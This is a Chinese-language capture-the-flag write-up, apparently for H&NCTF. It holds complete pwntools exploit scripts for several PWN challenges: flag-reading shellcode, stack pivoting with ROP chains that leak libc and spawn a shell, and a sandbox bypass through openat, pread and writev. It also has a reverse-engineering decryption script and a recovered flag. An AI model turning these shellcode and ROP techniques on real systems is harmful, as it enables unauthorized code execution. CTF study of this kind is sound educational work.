PWN

三步走战略

简单的orw

check

1
2
3
4
5
6
7
8
9
10
11
桌面$ checksec orw
[*] '/home/pwn/桌面/orw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled

mmap分配了一个可读写执行的段buf,用第一个read读shellcode到buf上第二个read栈溢出执行buf上的shellcode读出flag,要注意一开始用getchar接收了一个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('27.25.151.198',35086)
#io=process('./orw')
elf=ELF('./orw')
#gdb.attach(io)
sleep(2)
io.recvuntil(b'in advance.')
io.send(b'1')
io.recvuntil(b'Please speak:')


shellcode = '''
push 0
mov r15, 0x67616c66
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
'''
#调用read
shellcode += '''
mov r14, 3
mov rdi, r14
mov rsi, 0x4040C8
mov rdx, 0xff
mov rax, 0
syscall
'''
#调用write
shellcode +='''
mov rdi, 1
mov rsi, 0x4040C8
mov rdx, 0xff
mov rax, 1
syscall
'''
shellcode = asm(shellcode)

payload = b'\x90'*0x30+shellcode
io.send(payload)
io.recvuntil(b'Do you have anything else to say?')


payload = b'a' * 0x48 + p64(0x1337030)

io.sendline(payload)

io.interactive()

Stack Pivoting

【栈迁移】

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

给了libc有简单的栈溢出漏洞但是溢出字节数较少尝试栈迁移

1

可以发现func中的read的rsi=rbp+buf(buf为-0x40)所以我们可以通过控制rbp进而控制read的rsi,结合leave控制rsp

第一段payload

1
2
payload = b'z'*0x40 + p64(bss+0x40)+p64(0x4011B7)
io.send(payload)

将read的rsi迁移到bss处并读入第二段payload

第二段payload

1
payload = (p64(pop_rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(bss+0x200+0x40)+p64(0x4011B7)).ljust(0x40,b'\x00')+p64(bss-8)+p64(leave_ret)

在bss上布置puts泄露libc基址,将rbp设为bss+200+0x40用于读入第三段提权shell,之后迁移到bss段开头执行

第三段payload

1
2
rbp = 0x404100
payload =(p64(rbp)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(one_gadget)).ljust(0x40,b'\x00')+p64(bss+0x200)+p64(leave_ret)

因为rdx为50想要同时控制rdx和rsi为零比较费字节数刚好发现有好用的gadget,但是需要注意rbp-0x78处是可写的

1

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('27.25.151.198',45600)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#gdb.attach(io)
sleep(3)
bss = 0x404100
pop_rbp = 0x4011FD
pop_rdi = 0x0000000000401263
leave_ret = 0x4011CE
ret = 0x4011FE
io.recvuntil(b'can you did ?')
payload = b'z'*0x40 + p64(bss+0x40)+p64(0x4011B7)
io.send(payload)

payload = (p64(pop_rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(bss+0x200+0x40)+p64(0x4011B7)).ljust(0x40,b'\x00')+p64(bss-8)+p64(leave_ret)

io.send(payload)
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
pop_rdx_rbx=0x00000000000904a9+libc_base
pop_rsi_r15=0x0000000000401261
one_gadget = 0xebc88 +libc_base
rbp = 0x404100
payload =(p64(rbp)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(one_gadget)).ljust(0x40,b'\x00')+p64(bss+0x200)+p64(leave_ret)

io.send(payload)

io.interactive()

shellcode

【orw进阶】

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

开了沙箱

1

禁用了write和sendfile可以用writev

openat–>mmap–>pread–>writev

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

#io = process('./pwn')
io = remote('27.25.151.198',42733)
elf = ELF('./pwn')

#gdb.attach(io)
sleep(3)


shellcode = asm('''
/* 1. 打开flag文件 */
mov rax, 0x67616c66
push rax
mov rsi, rsp
mov rdi, -0x64
mov rdx, 0
mov rax, 257 /* openat系统调用号 */
syscall

mov r13, rax /* 保存文件描述符到r13 */
cmp r13, 0 /* 检查是否打开失败 */
jl exit_shellcode

/* 2. 分配内存 */
mov rdi, 0
mov rsi, 0x1000
mov rdx, 0x3
mov r10, 0x22
mov r8, -1
mov r9, 0
mov rax, 9 /* mmap系统调用号 */
syscall

mov r12, rax /* 保存映射地址到r12 */
cmp r12, -1 /* 检查mmap是否失败 */
je exit_shellcode

/* 3. 读取文件内容 */
mov rdi, r13 /* 文件描述符(r13) */
mov rsi, r12 /* 缓冲区地址 */
mov rdx, 0x1000 /* 读取大小 */
mov r10, 0 /* 偏移量 */
mov rax, 17 /* pread系统调用号 */
syscall

mov rbx, rax /* 保存读取的字节数到rbx */
cmp rbx, 0 /* 检查是否读取失败 */
jle exit_shellcode

/* 4. 构造iovec并调用writev */
sub rsp, 0x10
mov [rsp], r12 /* iov_base = 映射地址 */
mov [rsp+8], rbx /* iov_len = 读取的字节数 */

mov rdi, 1 /* fd=1 (标准输出) */
lea rsi, [rsp] /* iovec地址 */
mov rdx, 1 /* iovcnt=1 */
mov rax, 20 /* writev系统调用号 */
syscall

add rsp, 0x10 /* 恢复栈指针 */

exit_shellcode:
mov rax, 60
xor rdi, rdi
syscall
''')

io.recvuntil(b'Enter your command:')
io.sendline(shellcode)
io.interactive()

pdd助力

【随机数】

check

1
2
3
4
5
6
7
8
9
10
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

有libc可以用密码库生成和服务器一样的随机数绕过第一个随机数检查,第二个随机数种子固定可以直接本地生成一次记录下来然后绕过,最后进入func函数泄露libc基址即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
import ctypes
context(os='linux',arch='amd64',log_level='debug')
io=remote('27.25.151.198',40324)
elf = ELF('./pwn')
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io = process('./pwn')
libc=ctypes.CDLL("./libc.so.6")

io.recvuntil(b"game1 begin\n")


seed=libc.time(0)
libc.srand(seed)
v5=libc.rand()

libc.srand(v5%5-44174237)
for i in range(55):
tmp=libc.rand()%4+1
io.sendlineafter(b'good!',str(tmp))

io.recvuntil(b'game2 begin\n')
libc.srand(8)
for i in range(55):
tmp=libc.rand()%4+8
io.sendlineafter(b'good!',str(tmp))

pop_rdi = 0x0000000000401483
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
func = 0x40121F
payload = b'a'*0x38 + p64(pop_rdi) + p64(elf.got['read']) + p64(puts_plt) + p64(func)

io.recvuntil(b'young man.')
io.sendline(payload)
libc=ELF('./libc.so.6')
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))

system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
pop_rdx_rbx = libc_base + 0x00000000000904a9
pop_rsi_r15 =0x0000000000401481
ret = 0x000000000040101a
payload = b'a'*0x38+p64(pop_rdi)+p64(bin_sh)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(ret)+p64(system)
io.sendline(payload)

io.interactive()

RE

签到re

豆包一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import hashlib
import struct

# 目标密文
target_ciphertext = bytes([
0x00, 0x00, 0x00, 0x25, 0x0C, 0xE2, 0x70, 0x89, 0x98, 0xB2, 0xBB,
0xE4, 0x94, 0xA0, 0x95, 0xAC, 0x38, 0x92, 0x22, 0xF8, 0x0E, 0x7B,
0x76, 0x1A, 0x66, 0xC8, 0x03, 0x05, 0x2E, 0x7D, 0xA1, 0x04, 0x3D,
0xC0, 0x62, 0xFE, 0x66, 0x67, 0x02, 0x87, 0x81, 0xF4, 0x00, 0x00
])

# 密钥
key = b"MySecretKey123!"

def derive_key(key):
# 计算SHA256哈希
sha256 = hashlib.sha256(key).digest()

# 按照伪代码中的方式构造a3
# 注意:这里使用了伪代码中的位操作逻辑
v4 = sha256[0]
v5 = int.from_bytes(sha256[1:3], 'little')
v6 = sha256[3]

# 构造a3
a3 = (v4 | 1) | ((v5 & 0xFEFE) << 8) | ((v6 | 1) << 24)
return a3

def decrypt_block(cipher_block, a3):
# 提取字节
c0, c1 = cipher_block[0], cipher_block[1]

# 提取a3的各个字节
b0 = a3 & 0xFF
b1 = (a3 >> 8) & 0xFF
b2 = (a3 >> 16) & 0xFF
b3 = (a3 >> 24) & 0xFF

# 计算行列式的逆(模256)
det = (b0 * b3 - b1 * b2) % 256
det_inv = pow(det, -1, 256) # 计算模逆元

# 解密公式推导
p0 = ((c0 * b3 - c1 * b1) * det_inv) % 256
p1 = ((c1 * b0 - c0 * b2) * det_inv) % 256

return bytes([p0, p1])

def decrypt(ciphertext, a3):
# 提取原始长度
n_bytes = ciphertext[:4]
n = struct.unpack('<I', n_bytes)[0]

# 解密剩余部分
decrypted = bytearray()
cipher_blocks = ciphertext[4:]

for i in range(0, len(cipher_blocks), 4):
block1 = cipher_blocks[i:i+2]
block2 = cipher_blocks[i+2:i+4]

decrypted_block1 = decrypt_block(block1, a3)
decrypted_block2 = decrypt_block(block2, a3)

decrypted.extend(decrypted_block1)
decrypted.extend(decrypted_block2)

# 返回原始长度的明文
return decrypted[:n]

# 执行解密
a3 = derive_key(key)
plaintext = decrypt(target_ciphertext, a3)

print("解密结果:", plaintext.decode('ascii', errors='replace'))
#H&NCTF{840584fb08a26f01c471054628e451}

Misc

签到and签退

1